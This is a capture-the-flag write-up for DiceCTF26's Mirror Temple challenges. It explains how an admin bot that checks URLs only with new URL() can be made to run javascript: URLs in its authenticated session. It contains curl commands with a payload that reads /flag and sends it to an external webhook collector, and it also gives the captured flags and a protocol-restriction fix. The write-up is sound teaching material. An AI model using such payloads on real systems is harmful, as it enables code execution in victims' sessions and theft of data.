Writeup
DiceCTF26 Mirror Temple Challenges — Writeup
Mirror Temple / Mirror Temple B-Side — Writeup
This writeup covers both versions of the Mirror Temple challenge. The two instances differ in their frontend hardening, but the core bug is the same: the admin bot logs into the application, stores the real flag in an authenticated session, and then visits an attacker-controlled URL without restricting the URL scheme.
Summary
In both challenges, the application stores user data in a signed JWT cookie named save. The admin bot visits /postcard-from-nyc, submits a form containing the real flag, and then visits a user-supplied URL from /report.
The crucial mistake is in the bot:
try { new URL(targetUrl)} catch { process.exit(1)}
await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 10_000 })new URL(...) only checks that the value is syntactically a URL. It does not restrict the protocol to http: or https:. That means a javascript: URL is accepted and executed by Chromium when the bot navigates to it.
Because the bot already authenticated to http://localhost:8080/, the javascript: payload runs in that origin and can read /flag.
Key Code Snippets
chall/admin.mjs (both versions):
const targetUrl = process.argv[2]if (!targetUrl) { console.error("usage: node admin.mjs <url>") process.exit(1)}
try { new URL(targetUrl)} catch { console.error("invalid url") process.exit(1)}
const flag = (await readFile("/flag.txt", "utf8")).trim()
const page = await browser.newPage()
await page.goto("http://localhost:8080/postcard-from-nyc", { waitUntil: "domcontentloaded", timeout: 10_000 })
await page.type("#name", "Admin")await page.type("#flag", flag)await Promise.all([ page.waitForNavigation({ waitUntil: "domcontentloaded", timeout: 10_000 }), page.click(".begin")])
await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 10_000 }).catch(e => console.error(e))chall/src/main/kotlin/ng/dicega/ctf/web/mirrortemple/MirrorTemple.kt (report endpoint):
@PostMapping("/report", produces = [MediaType.TEXT_PLAIN_VALUE])@ResponseBodyfun report(@RequestParam("url") url: String): String { runCatching { ProcessBuilder("node", "admin.mjs", url) .inheritIO() .start() } return "your report will be scrutinized soon"}chall/src/main/kotlin/ng/dicega/ctf/web/mirrortemple/SaveFile.kt (flag exposure):
@GetMapping("/flag", produces = [MediaType.TEXT_PLAIN_VALUE])@ResponseBodyfun getFlag() = currentSave().flagAnalysis
The exploit path is straightforward once the admin flow is understood:
- The bot authenticates as a normal user by submitting
/postcard-from-nyc. - The submitted flag is stored in the signed
savecookie. - The bot visits an attacker-controlled URL from
/report. - Since
javascript:is allowed, we get code execution in the bot’s authenticatedlocalhost:8080page context. - The payload reads
/flagand exfiltrates it to an external collector.
One small operational detail matters: /report is an authenticated endpoint. So before submitting a report, we first need to create our own valid session by submitting any normal postcard.
Part 1: Mirror Temple
The first challenge exposes several suspicious surfaces:
/proxyforwards arbitrary URLsmirrorcan inject response headers- the site uses a permissive-looking CSP hash setup
Those are distractions for the intended solve. The clean bug is still the admin bot’s missing scheme restriction.
Exploitation
First, create a normal session:
curl -i -X POST 'https://mirror-temple-dee860f3e5d3.ctfi.ng/postcard-from-nyc' \ --data-urlencode 'name=test' \ --data-urlencode 'flag=dice{test}' \ --data-urlencode 'portrait='This returns a save=... cookie. Then submit a report with a javascript: payload:
curl -X POST 'https://mirror-temple-dee860f3e5d3.ctfi.ng/report' \ -H 'Cookie: save=YOUR_COOKIE_HERE' \ --data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/token/?flag='+encodeURIComponent(f))"When the bot handles the report, Chromium evaluates the javascript: URL in the authenticated localhost:8080 context. The payload fetches /flag and redirects to our collector with the flag in the query string.
Final Result
Flag: dice{evila_si_rorrim_eht_dna_gnikooc_si_tnega_eht_evif_si_emit_eht_krad_si_moor_eht}
Part 2: Mirror Temple B-Side
The second version changes the frontend and CSP:
- CSS is inlined
- script tags use integrity hashes
- CSP is tighter
frame-srcandframe-ancestorsare set tonone
None of that fixes the actual issue, because the admin bot is still unchanged in the relevant place. It still accepts any URL scheme that new URL(...) parses successfully and still performs page.goto(targetUrl) after logging in.
Exploitation
The exploit is identical.
Create a valid user session:
curl -i -X POST 'https://mirror-temple-b-side-9be2c8698e1c.ctfi.ng/postcard-from-nyc' \ --data-urlencode 'name=test' \ --data-urlencode 'flag=dice{test}' \ --data-urlencode 'portrait='Then report a javascript: URL:
curl -X POST 'https://mirror-temple-b-side-9be2c8698e1c.ctfi.ng/report' \ -H 'Cookie: save=YOUR_COOKIE_HERE' \ --data-urlencode "url=javascript:fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/token/?flag='+encodeURIComponent(f))"The bot again executes the payload in the authenticated application origin and leaks the flag to the collector.
Final Result
Flag: dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}
Root Cause
The bug in both challenges is trusting new URL(...) as if it were a security control. It is only a parser. It accepts non-web protocols such as javascript:.
If a bot will visit attacker-controlled URLs after authenticating to a sensitive origin, the protocol must be explicitly restricted:
const u = new URL(targetUrl)if (!['http:', 'https:'].includes(u.protocol)) { process.exit(1)}